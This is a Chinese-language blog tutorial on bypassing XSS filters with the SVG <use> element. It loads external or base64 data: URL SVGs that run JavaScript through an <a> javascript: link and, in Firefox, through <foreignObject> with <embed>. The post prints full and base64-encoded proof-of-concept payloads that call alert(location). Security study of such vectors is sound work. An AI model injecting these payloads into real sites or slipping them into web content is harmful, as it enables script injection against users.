首页 > 其他分享 >利用svg标签绕过xss校验

利用svg标签绕过xss校验

时间:2023-08-23 10:00:11浏览次数:53  
标签:xss 元素 标签 Javascript 校验 svg SVG 加载

SVG中的<use>元素用于重用其他元素,主要用于联接<defs>和alike,而我们却用它来引用外部SVG文件中的元素
元素通过其id被引用,在<use>标签的xlink:href属性中以'#'井字符开头,外部元素的引用同样如此
基本结构如下所示:

 test.html

<svg>
<use xlink:href='external.svg#rectangle' />
</svg>

external.svg:

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
    <a xlink:href="javascript:alert(location)">
        <rect x="0" y="0" width="100" height="100" />
    </a>
</svg>

 sxternal.svg文件以<svg>标签开始,其id设置为rectangle(矩形),使用<rect>标签绘一个矩形。可以使用<a>环绕<rect>标签,这样会创建一个超链接。使用Javascript的url协议,可点击的超链接在点击后会执行Javascript。
虽然SVG是经由<use>标签加载的,Javascript将会得到执行。有一点需要注意,它只能加载SVG文件,且必须满足同源策略

由于加载的外部SVG文件必须是同源的,这个特性看起来似乎无法作为有用的XSS攻击向量,但你可以使用data:url协议,它允许我们百忙之中从内部创建一个文件。它要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破HTML结构的问题。
现在我们不必再依赖于服务器上的另一个文件了:

test.html:

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zd
mc+#rectangle" />
</svg>

解码后的base64载荷:

<svg id="rectangle" 
xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

浏览器会显示出一个黑色的矩形,当点击时会弹出其location。

但是为什么要烦扰受害者去点击呢,他们从来都不会去做该做的事:)
external.svg中的<script>标签不会被解析,但是SVG支持<foreignObject>元素(仅在Firefox浏览器支持此元素)
通过阐述这个对象需要的扩展属性,有可能加载非SVG元素
这就意味着现在有可能是有<iframe>、<embed>及其他所有支持的HTML元素了,我们可以从一堆元素中进行选择执行Javascript,这里使用<embed>+JavascriptURL协议
看如下SVG:

<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>

它会通过<foreignObject>加载嵌入的标签,使用JavascriptURL协议执行Javascript
然后我们用base64对载荷进行编码,通过data:协议加载它

test.html

<svg>
<use xlink:href="data:image/svg+xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc+#rectangle" />
</svg>

test.html用Firefox浏览器打开,会弹出location

这样我们在SVG中就有了另一个能执行Javascript的向量了
另外,我们在攻击载荷中包含了一个<script>alert(1)</script>,这证明了<script>标签不会被svg解析

 

标签:xss,元素,标签,Javascript,校验,svg,SVG,加载
From: https://www.cnblogs.com/snad/p/17650356.html

相关文章

  • svg动画 - 渐变色进度条
      <h1>按w前进按s后退</h1><?xmlversion="1.0"encoding="utf-8"?><svgxmlns="http://www.w3.org/2000/svg"width="400"height="400"viewBox="00400400"><defs><......
  • iwebsec-xss 01 反射型xss
    01、题目分析反射型跨站脚本攻击本质上是构造恶意连接的形式,诱导用户打开,由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。02、xss这一题已经提示是反射型xss了,而且还有提示,可以注入的参数为name,所以直接在参数值中输入js代码即可?name=<script......
  • iwebsec-xss 02 存储型xss
    01、题目分析存储型xss是将js代码存储在服务器端,当用户访问网页的时候,就会执行js代码,常见于留言板等功能模块02、xss这一题已经提示是存储型ss了,而且还有输入框,所以直接在输入框中输入js代码即可<script>alert(1)</script>可以发现js代码被成功执行了03、源码分析</form......
  • iwebsec-xss 03 DOM型xss
    01、题目分析DOM型比较与存储型不一样的是,存储型是将js代码存放在数据库中,而dom型是在客户端插入恶意代码,不涉及后端02、xss查看前端代码可以发现,有一个domxss函数,这段代码的作用是获取id为"input"的元素的值,并将其设置为id为"output"的元素的innerHTML属性所以直接在输入框......
  • iwebsec-xss 04 xss修复示例
    01、题目分析这一题就不是解题了,是教如何实现防范xss漏洞的,因此我们重点分析源码,是如何实现防范xss的02、xss按照第一关的xss方式去访问,可以明显发现没有出弹窗,而是把js代码作为文字输出到界面上03、源码分析<?phprequire_once'../header.php';?><html> <head> <titl......
  • svg动画 - 旋转的彗星
    案例: <svgxmlns="http://www.w3.org/2000/svg"width="389"height="412"viewBox="-10-10389412"fill="none"><pathd="M43.971271.3301C54.978771.330164.923572.872.099375.1629C75.6898......
  • svg动画 - 仪表盘
    案例: <svgwidth="65"height="66"viewBox="006566"fill="none"xmlns="http://www.w3.org/2000/svg"><pathopacity="0.102"fill-rule="evenodd"clip-rule="evenodd"......
  • 二进制CRC校验码生成程序
      /**二进制CRC序列生成程序*/#include<stdio.h>#include<string.h>#defineLEN_DIVIDEND30#defineLEN_DIVISOR30#defineLEN_SEQUENCELEN_DIVIDEND+LEN_DIVISORvoidCRC(char*,char*,char*);voidMOD2_div(char*,char*,char*);voidmove(char*,int);intmai......
  • 使用MD5算法和sha512sum校验和检验文件完整性
    目录一.前言二.MD5算法简介三.什么是校验和四.使用MD5算法和sha512sum校验和检验文件完整性五.总结一.前言在我们日常生活中,无论是下载文件、传输数据还是备份重要信息,如何确保数据的完整性始终是一个不能忽视的问题。本文将向大家介绍如何使用MD5算法和sha512sum校验和来进行文......
  • 【Spring Boot】Bean字段校验-JSR303
    规范:JSR303 BeanValidation1.0 开发过程:1、Bean定义字段校验规则:2、Controller引入@Valid(来自)或@Validated(来自org.springframework.validation.annotation)触发校验样例如下:背景知识:1.HibernateValidator定义Bean字段校验的注解和校验器实现......